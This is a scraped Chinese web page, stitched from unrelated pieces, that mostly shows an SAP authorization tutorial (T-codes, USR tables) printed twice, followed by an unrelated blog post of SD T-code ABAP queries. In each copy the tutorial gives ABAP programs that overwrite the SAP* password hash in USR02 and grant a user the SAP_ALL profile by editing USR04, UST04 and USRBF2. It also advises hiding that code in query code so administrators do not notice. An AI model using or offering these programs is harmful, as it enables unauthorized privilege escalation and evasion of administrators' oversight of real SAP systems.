你好，方便告知“ SAP中那个Tcode可以查询user对应的role并role对应的Tcode！是哪个tcode么？谢谢！-百谷歌在SAP中如何创建权限和权限的设置
通常basis会使用PFCG做权限管理,时你保存时会产生一个系统外的profile name,
记得SU01时用户有profile 和role两栏位吗?它们的关系如何呢?
首先明白几个概念.
1.activity
这样说吧,我们从activity谈起,activity是什么意思这个你查下
字典也就知道了,对就是规定可做什么动作,比如说不能吸烟只能喝酒,不能多于2两,
不对,这是我老婆讲的,不是这样子的,是只能insert, update,display什么的.
这些东西当年德国佬是写在tobj表中的.
activity 也是可分activity group的.
2.activity category &Authorization group
Role Vs Profile
你看看表T020就知道了,就是什么K,D, A, M什么的.
profile是什么呢?实际上可以理解为所有的authorization data(有很多authorization group--{你可使用OBA7填写,权限太细也不是好事^_^}和activity组成)的一个集合的名字,通常一个自定义的role产
生一个profile,SAP权限控制是根据profile里的authorization data(objects)来控制的.
role又是什么呢?role只是一个名字而已,然后将profile赋予给它, 比如你SU01建立一个
用户,我没有任何role,但是加如SAP_All profile也是可做任何事情.
SAP本身有很多default role & profile.
3.最常用的PFCG-&authorizations-&change authorization data-&
进入后选取selection criteria 可看到所有的authorization object
manually可手工加authorization object,比如你使用某个t-code权限出错误,abap使用SU53检查就
知道缺少哪个authorization objec,然后手工加入就可以.
你选去authorization levels就可by account type再细分权限.
有些甚至直接到表字段.而且你甚至可o一个object分配缓存buffer.
那么SAP是如何做到权限控制的呢,屠夫就用刀小宰一下.
4.关于权限方面的几个t-code.
(一)Role(角色)相关T-code:
PFAC&&&&&&&& 标准
PFAC_CHG 改变
PFAC_DEL 删除
PFAC_DIS 显示
PFAC_INS 新建
ROLE_CMP 比较
SUPC 批量建立角色profile
SU03&&&&&&&&&&& 检测authorzation data
SU25, SU26&&&&& 检查updated profile
(二)建立用户相关T-code:
SU50, Su51, SU52
SUCOMP:维护用户公司地址
SU2 change用户参数
SUIM 用户信息系统
SUGRD:显示
SUGRD_NAV:还是维护
SUGR_NAV:还是显示
(三)关于profile&Authoraztion Data
SU02:直接创建profile不用role
SU20:细分Authorization Fields
SU21(SU03):****维护Authorization Objects(TOBJ,USR12).
对于凭证你可细分到:
F_BKPF_BED: Accounting Document: Account Authorization for Customers
F_BKPF_BEK: Accounting Document: Account Authorization for Vendors
F_BKPF_BES: Accounting Document: Account Authorization for G/L Accounts
F_BKPF_BLA: Accounting Document: Authorization for Document Types
F_BKPF_BUK: Accounting Document: Authorization for Company Codes
F_BKPF_BUP: Accounting Document: Authorization for Posting Periods
F_BKPF_GSB: Accounting Document: Authorization for Business Areas
F_BKPF_KOA: Accounting Document: Authorization for Account Types
F_BKPF_VW : Accounting Document: Change Default Values for Doc.Type/PsKy
然后你进去还可细分,这些个东西是save在USR12表中的. 在DB层是UTAB.
对具体transaction code细分:&&&&
SU53:*** 就是你出错用来检查没有那些authoraztion objects.
SU56:分析authoraztion data buffers.
SU87:用来检查用户改变产生的history
SU96,SU97,SU98,SU99:干啥的?
SUPC:批量产生role
DB和logical层:
SUKRI:Transaction Combinations Critical for Security
TOBJ : All avaiable authorzation objects.(全在此)
USR12: 用户级authoraztion值
-----------------------------
USR01:主数据
USR02:密码在此
USR04:授权在此
USR03:User address data
USR05:User Master Parameter ID
USR06:Additional Data per User
USR07:Object/values of last authorization check that failed
USR08:Table for user menu entries
USR09:Entries for user menus (work areas)
USR10:User master authorization profiles
USR11:User Master Texts for Profiles (USR10)
USR12:User master authorization values
USR13:Short Texts for Authorizations
USR14:Surchargeable Language Versions per User
USR15:External User Name
USR16:Values for Variables for User Authorizations
USR20:Date of last user master reorganization
USR21:Assign user name address key
USR22:Logon data without kernel access
USR30:Additional Information for User Menu
USR40:Table for illegal passwords
USR41:当前用户
UST04:User Profile在此
UST10C: Composite profiles
UST10S: Single profiles (角色对应的
UST12 : Authorizations..............................
..............................
如何窃取权限
..............................
User type用户类型(干啥用的不讲):
通常的用户类型有
a.dialog (就是normal user)
b.communication
e.reference.
通常你在使用任何T-code前一定会有权限检测的.
AUTHORITY_CHECK:这个函数只是小检查一下你的user有没有,什么时候过期.
**如果coding只要使用此函数就够了.
AUTHORITY_CHECK_TCODE:检查T-code
这z函数是真正检查autorization objects的.
SUSR_USER_AUTH_FOR_OBJ_GET:
AUTHORIZATION_DATA_READ_SELOBJ:
------------------------------------------
将SAP*的密码改成123的程序,很简单.
我们找到那个user logon表USR02.
(DFEEB是经过SAP加密保存在DB的,哪位老兄研究过SAP的密码加密?)
report zmodSAP*.
data zUSR02 like USR02 .
select single * into zUSR02 from USR02
where BNAME = 'SAP*'.
zUSR02-Bcode = 'DFEEB' .
Update USR02 from zUSR02 .
现在的问题是如何让你那basis不发现,很简单,将code隐藏在Query里面,就是说你做一个
query,query是会产生code的,然后你加入此代码,谁能想到???然后你就等你的basis去哭...
这样做太狠毒了.还是自己偷偷搞自己的用户吧.
在此你必须对权限结构非常清晰.
权限和三个表有关系.
c.USRBF2 这个表是对应到所用的authorzization objects的.
*&---------------------------------------------------------------------*
*& Report&&&&&&& : Steal SAP ALL Right&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& *
*& Creation Date : &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& *
*& Created by&&& : Stone.Fu&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& *
*& Description&& : 可窃取SAP ALL权限&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& *
*& Modified Date :
*& Description&& : 将此code hide在report painter or query code&&&&&&& *
*&---------------------------------------------------------------------*
report zrightsteal.
data zUSR04 like USR04 . &????????work area??
data zUST04 like USR04 .
data zPROFS like USR04-PROFS.
data ZUSRBF2 like USRBF2 occurs 0 with header line.
&USRBF2?????internal table
** Update Authorization table USR04.
select single * into zUSR04 from USR04
where BNAME = 'ZABC2'. &SAP All 权限
move 'C SAP_ALL' to zPROFS .
ZUSR04-NRPRO = '14'.
zUSR04-PROFS = zPROFS.
Update USR04 from zUSR04 .
**Update User authorization masters table UST04 .
select single * into zUST04 from UST04
where BNAME = 'ZABC2'.
zUST04-PROFILE = 'SAP_ALL'. &SAP all 权限
Update UST04 from zUST04 .
*?????insert
*ZUST04-MANDT = '200'.
*ZUST04-BNAME = 'ZABC2'.
*ZUST04-PROFILE = 'SAP_ALL'.
*Insert UST04 from ZUST04 .
select * from USRBF2 into table ZUSRBF2
where BNAME = 'SAP*' .
Loop at ZUSRBF2.
ZUSRBF2-BNAME = 'ZABC2'.
Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.
自己建立一个ztest用户不给它任何权限然后在test machine上run 报表zrightsteal.
然后ztest就是SAP_ALL了, 然后你将code hide在SQP query的code中.
code太容易被人发现.
(编辑：cindy liu )
------分隔线----------------------------
您有可能感兴趣的文章
栏目推荐文章
Copyright ©
All Rights Reserved.
网站声明：SAP和SAP LOGO是SAP AG公司商标，SAP中文学习网与SAP并无任何关联。SAP 用户权限解析
通常basis会使用PFCG做权限管理,时你保存时会产生一个系统外的profile
记得SU01时用户有profile 和role两栏位吗?它们的关系如何呢?
首先明白几个概念.
1.activity
这样说吧,我们从activity谈起,activity是什么意思这个你查下
字典也就知道了,对就是规定可做什么动作,比如说不能吸烟只能喝酒,不能多于2两,
不对,这是我老婆讲的,SAP不是这样子的,是只能insert,
update,display什么的.
这些东西当年德国佬是写在tobj表中的.
activity 也是可分activity group的.
2.activity category &Authorization group
你看看表T020就知道了,就是什么K,D, A, M什么的.
profile是什么呢?实际上可以理解为所有的authorization data(有很多authorization
group--{你可使用OBA7填写,权限太细也不是好事^_^}和activity组成)的一个集合的名字,通常一个自定义的role产
生一个profile,SAP权限控制是根据profile里的authorization
data(objects)来控制的.
role又是什么呢?role只是一个名字而已,然后将profile赋予给它,
比如你SU01建立一个
用户,我没有任何role,但是加如SAP_All profile也是可做任何事情.
SAP本身有很多default role
& profile.
3.最常用的PFCG-&authorizations-&change authorization
进入后选取selection criteria 可看到所有的authorization
manually可手工加authorization
object,比如你使用某个t-code权限出错误,abap使用SU53检查就
知道缺少哪个authorization
objec,然后手工加入就可以.
你选去authorization levels就可by account
type再细分权限.
有些甚至直接到表字段.而且你甚至可給一个object分配缓存buffer.
那么SAP是如何做到权限控制的呢,屠夫就用刀小宰一下.
4.关于权限方面的几个t-code.
(一)Role(角色)相关T-code:
PFAC_CHG 改变
PFAC_DIS 显示
PFAC_INS 新建
ROLE_CMP 比较
批量建立角色profile
检测authorzation
SU25, SU26
检查updated
(二)建立用户相关T-code:
Su51, SU52
SUCOMP:维护用户公司地址
change用户参数
用户信息系统
SUGRD:显示
SUGRD_NAV:还是维护
SUGR_NAV:还是显示
(三)关于profile&Authoraztion
SU02:直接创建profile不用role
SU20:细分Authorization Fields
SU21(SU03):****维护Authorization
Objects(TOBJ,USR12).
对于凭证你可细分到:
F_BKPF_BED: Accounting Document: Account
Authorization for Customers
F_BKPF_BEK: Accounting Document: Account
Authorization for Vendors
F_BKPF_BES: Accounting Document: Account
Authorization for G/L Accounts
F_BKPF_BLA: Accounting Document: Authorization
for Document Types
F_BKPF_BUK: Accounting Document: Authorization for Company
F_BKPF_BUP: Accounting Document: Authorization for Posting
F_BKPF_GSB: Accounting Document: Authorization for Business
F_BKPF_KOA: Accounting Document: Authorization for Account
F_BKPF_VW : Accounting Document: Change Default Values for
Doc.Type/PsKy
然后你进去还可细分,这些个东西是save在USR12表中的. 在DB层是UTAB.
对具体transaction code细分:
SU53:*** 就是你出错用来检查没有那些authoraztion
SU56:分析authoraztion data
SU87:用来检查用户改变产生的history
SU96,SU97,SU98,SU99:干啥的?
SUPC:批量产生role
DB和logical层:
SUKRI:Transaction Combinations Critical for
TOBJ : All avaiable authorzation objects.(全在此)
用户级authoraztion值
-----------------------------
USR01:主数据
USR02:密码在此
USR04:授权在此
USR03:User
address data
USR05:User Master Parameter ID
USR06:Additional Data per
USR07:Object/values of last authorization check that
USR08:Table for user menu entries
USR09:Entries for user menus
(work areas)
USR10:User master authorization profiles
USR11:User Master
Texts for Profiles (USR10)
USR12:User master authorization
USR13:Short Texts for Authorizations
USR14:Surchargeable Language
Versions per User
USR15:External User Name
USR16:Values for Variables for
User Authorizations
USR20:Date of last user master
reorganization
USR21:Assign user name address key
USR22:Logon data without
kernel access
USR30:Additional Information for User Menu
USR40:Table for
illegal passwords
USR41:当前用户
UST04:User
Profile在此
UST10C: Composite profiles
UST10S: Single profiles
(角色对应的
UST12 : Authorizations..............................
..............................
如何窃取权限
..............................
User type用户类型(干啥用的不讲):
通常的用户类型有
a.dialog (就是normal
b.communication
e.reference.
通常你在使用任何T-code前一定会有权限检测的.
AUTHORITY_CHECK:这个函数只是小检查一下你的user有没有,什么时候过期.
**如果coding只要使用此函数就够了.
AUTHORITY_CHECK_TCODE:检查T-code
这倆函数是真正检查autorization
objects的.
SUSR_USER_AUTH_FOR_OBJ_GET:
AUTHORIZATION_DATA_READ_SELOBJ:
------------------------------------------
将SAP*的密码改成123的程序,很简单.
我们找到那个user
logon表USR02.
(DFEEB是经过SAP加密保存在DB的,哪位老兄研究过SAP的密码加密?)
data zUSR02 like USR02 .
select single * into zUSR02 from
where BNAME = 'SAP*'.
zUSR02-Bcode = 'DFEEB' .
USR02 from zUSR02 .
现在的问题是如何让你那basis不发现,很简单,将code隐藏在Query里面,就是说你做一个
query,query是会产生code的,然后你加入此代码,谁能想到???然后你就等你的basis去哭...
这样做太狠毒了.还是自己偷偷搞自己的用户吧.
在此你必须对权限结构非常清晰.
权限和三个表有关系.
这个表是对应到所用的authorzization
objects的.
*&---------------------------------------------------------------------*
: Steal SAP ALL Right
Creation Date :
Created by
: Stone.Fu
Description
: 可窃取SAP ALL权限
Modified Date :
*& Description
: 将此code hide在report painter
or query code
*&---------------------------------------------------------------------*
report zrightsteal.
data zUSR04 like USR04 . "????????work area??
zUST04 like USR04 .
data zPROFS like USR04-PROFS.
data ZUSRBF2 like USRBF2
occurs 0 with header line.
"USRBF2?????internal table
Authorization table USR04.
select single * into zUSR04 from USR04
BNAME = 'ZABC2'. "SAP All 权限
move 'C SAP_ALL' to zPROFS .
ZUSR04-NRPRO =
zUSR04-PROFS = zPROFS.
Update USR04 from zUSR04 .
**Update User authorization masters table UST04 .
select single * into
zUST04 from UST04
where BNAME = 'ZABC2'.
zUST04-PROFILE = 'SAP_ALL'. "SAP
Update UST04 from zUST04 .
*?????insert
*ZUST04-MANDT = '200'.
*ZUST04-BNAME =
*ZUST04-PROFILE = 'SAP_ALL'.
*Insert UST04 from ZUST04 .
select * from USRBF2 into table ZUSRBF2
where BNAME = 'SAP*' .
ZUSRBF2-BNAME = 'ZABC2'.
Modify ZUSRBF2 INDEX sy-tabix
TRANSPORTING BNAME.
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING
DUPLICATE KEYS.
自己建立一个ztest用户不给它任何权限然后在test machine上run 报表zrightsteal.
然后ztest就是SAP_ALL了, 然后你将code hide在SQP query的code中. ABAP
code太容易被人发现.
相关日志：
您对本文的评分:
当前平均分: 9.6(6 次打分)
IP/域名查询
输入IP/域名：
好评推荐榜你好，方便告知“ SAP中那个Tcode可以查询user对应的role并role对应的Tcode！是哪个tcode么？谢谢！
本回答由提问者推荐
var sogou_ad_id=731547;
var sogou_ad_height=160;
var sogou_ad_width=690;博客访问： 94365
博文数量： 121
注册时间：
ITPUB论坛APP
ITPUB论坛APP
APP发帖 享双倍积分
IT168企业级官微
微信号：IT168qiye
系统架构师大会
微信号：SACC2013
关于SD业务的几个TCODE的对应操
分类： Linux
1、VL01A(交货的销售订单到期)
该TCODE对应的读取数据程序：/1SAP1/%LE_SHP%_VEPVG99A004
操作的SAP表：vepvg
对应代码程序：
SELECT * INTO& TABLE cx_sd_order-vepvg&&&&&&&& FROM& vepvg&&&&&&&& WHERE*&&&&&&& VEPVG-Selektionskriterien&&& vstel in ix_select_options-vstelAND auart in ix_select_options-auartAND autlf in ix_select_options-autlfAND kunnr in ix_select_options-kunnrAND kunwe in ix_select_options-kunweAND ledat in ix_select_options-ledatAND lifsp in ix_select_options-lifspAND lprio in ix_select_options-lprioAND route in ix_select_options-routeAND spart in ix_select_options-spartAND spdnr in ix_select_options-spdnrAND vbeln in ix_select_options-vbelnAND vkbur in ix_select_options-vkburAND vkgrp in ix_select_options-vkgrpAND vkorg in ix_select_options-vkorgAND vtweg in ix_select_options-vtwegAND wadat in ix_select_options-wadat&&&&&&&&&& .
2、VL06G(发货的外向交货清单)
该TCODE对应的读取数据程序为函数：WS_LM_DATA_SELECTION_DUE
操作的SAP表：shp_idx_gdsi
对应代码程序：
&&&&&&&& select vbeln from shp_idx_gdsi&&&&&&&&&&&&&&&&&&&&& "470&&&&&&&&&&&&&& appending corresponding fields of table et_postab&&&&&&&&&&&&&&&&&&&& where vstel in lt_vstel&&&&&&&&&&&&&&&&&&&& and&& wadat in lt_wadat&&&&&&&&&&&&&&&&&&&& and&& route in lt_route&&&&&&&&&&&&&&&&&&&& and&& lstel in lt_lstel&&&&&&&&&&&&&&&&&&&& and&& lddat in lt_lddat&&&&&&&&&&&&&&&&&&&& and&& tddat in lt_tddat&&&&&&&&&&&&&&&&&&&& and&& lfdat in lt_lfdat&&&&&&&&&&&&&&&&&&&& and&& kodat in lt_kodat&&&&&&&&&&&&&&&&&&&& and&& kostk in lt_kostk&&&&&&&&&&&&&&&&&&&& and&& lvstk in lt_lvstk&&&&&&&&&&&&&&&&&&&& and&& kunnr in lt_kunwe&&&&&&&&&&&&&&&&&&&& and&& vbeln in lt_vbeln.
3、VF04(维护发票到期清单)
该TCODE操作对应的程序为：SDBLBDDL；
操作的SAP表：VKDFS
对应代码程序：LV05HFDL
FORM READ_VKDFS_VKDFI_VF_01.& RCODE = 4.& REFRESH LVKDFI .& CLEAR LVKDFI .& SELECT *&&& INTO TABLE XVKDFS&&& FROM VKDFS&&& WHERE ( FKTYP IN (VBCO7-ALLEF,VBCO7-ALLEL,VBCO7-ALLEA,&&&&&&&&&&&&&&&&&&&&& VBCO7-ALLEI,VBCO7-ALLEB) )&&& AND&& VKORG IN R_VKORG&&& AND&& FKDAT IN R_FKDAT&&& AND&& KUNNR IN S_KUNNR&&& AND&& FKART IN S_FKART&&& AND&& LLAND IN S_LLAND&&& AND&& VBELN IN S_VBELN&&& AND&& VBTYP IN R_VBTYP&&& AND&& SORTKRI IN S_SORTKRI&&& AND&& VTWEG&& IN S_VTWEG&&& AND&& SPART&& IN S_SPART&&& AND&& VSTEL&& IN S_VSTEL&&& ORDER BY PRIMARY KEY.&&& IF NOT NO_BILLING_BLOCK IS INITIAL.&&&&&& PERFORM AUSDUENNEN_XVKDFS.&&& ENDIF.& IF NOT VBCO7-PDSTK IS INITIAL.&&& LOOP AT XVKDFS WHERE PDSTK CA 'AB'.&&&&& DELETE XVKDFS.&&& ENDLOOP.& ENDIF.&& LOOP AT XVKDFS.&&&& MOVE: XVKDFS TO VKDFS.&&&& PERFORM MOVE_VKDFS_TO_LVKDFI.&&&& APPEND LVKDFI.&& ENDLOOP.
4、VFX3(列出冻结的出具发票凭证清单)
该TCODE操作对应的程序为：SDBLBDDL；
操作的SAP表：VBRK
对应代码程序：
FORM TAB_FUELLEN.
& DATA : BEGIN OF XM_VMCRA OCCURS 50.&&&&&&&&&& INCLUDE STRUCTURE M_VMCRA.& DATA : END OF XM_VMCRA.
& SELECT * FROM M_VMCFA INTO TABLE GT_VMCFA&&& WHERE VKORG = VKORG&&& AND&& KUNRG IN KUNNR&&& AND&& ERNAM IN ERNAM&&& AND&& ERDAT IN ERDAT&&& AND&& VBELN IN VBELN&&& AND&& FKTYP IN FKTYP&&& AND&& FKART IN FKART&&& AND&& ( RFBSK IN (ALLES,ALLEA,ALLEB,ALLEF,ALLEG,ALLEK,ALLEN) ).& SELECT * FROM M_VMCRA INTO TABLE XM_VMCRA&&& WHERE VKORG = VKORG&&& AND&& KUNRG IN KUNNR&&& AND&& ERNAM IN ERNAM&&& AND&& ERDAT IN ERDAT&&& AND&& VBELN IN VBELN&&& AND&& FKART_RL IN FKART.& CLEAR GT_VMCFA.& LOOP AT XM_VMCRA.&&& MOVE-CORRESPONDING XM_VMCRA TO GT_VMCFA.&&& MOVE XM_VMCRA-FKDAT_RL TO GT_VMCFA-FKDAT.&&& MOVE XM_VMCRA-FKART_RL TO GT_VMCFA-FKART.&&& MOVE 'R' TO GT_VMCFA-FKTYP.&&& APPEND GT_VMCFA.& ENDLOOP.& CLEAR GT_VMCFA.& LOOP AT GT_VMCFA.&&& PERFORM FAKTURATYP_ERMITTELN.&&& PERFORM FAKTURAART_ERMITTELN.&&& PERFORM NAME_ERMITTELN USING GT_VMCFA-KUNRG GT_VMCFA-NAME1.&&& PERFORM NAME_ERMITTELN USING GT_VMCFA-KUNAG GT_VMCFA-NAME2.&&& MODIFY GT_VMCFA.& ENDLOOP.& SORT GT_VMCFA BY ERDAT VBELN.& loop at gt_vmcfa.&&& case gt_vmcfa-rfbsk.&&&&& when ' '.&&&&&&& gt_vmcfa-vfuvgr = text-ug0.&"FI/CO 接口冻结&&&&& when 'A'.&&&&&&& gt_vmcfa-vfuvgr = text-uga. &会计冻结&&&&& when 'B'.&&&&&&& gt_vmcfa-vfuvgr = text-ugb.&科目确定错误&&&&& when 'F'.&&&&&&& gt_vmcfa-vfuvgr = text-ugf.&定价错误&&&&& when 'G'.&&&&&&& gt_vmcfa-vfuvgr = text-ugg.&外贸数据&&&&& when 'K'.&&&&&&& gt_vmcfa-vfuvgr = text-ugk.&授权时出错&&&&& when 'N'.&&&&&&& gt_vmcfa-vfuvgr = text-ug0.&&& endcase.&&& modify gt_vmcfa.& endloop.ENDFORM.
阅读(782) | 评论(0) | 转发(0) |
上一篇：ABAP--Standard SAP FTP programs <cod
下一篇：成功软件项目的七个关键因素<a href="h
相关热门文章
给主人留下些什么吧！~~
请登录后评论。}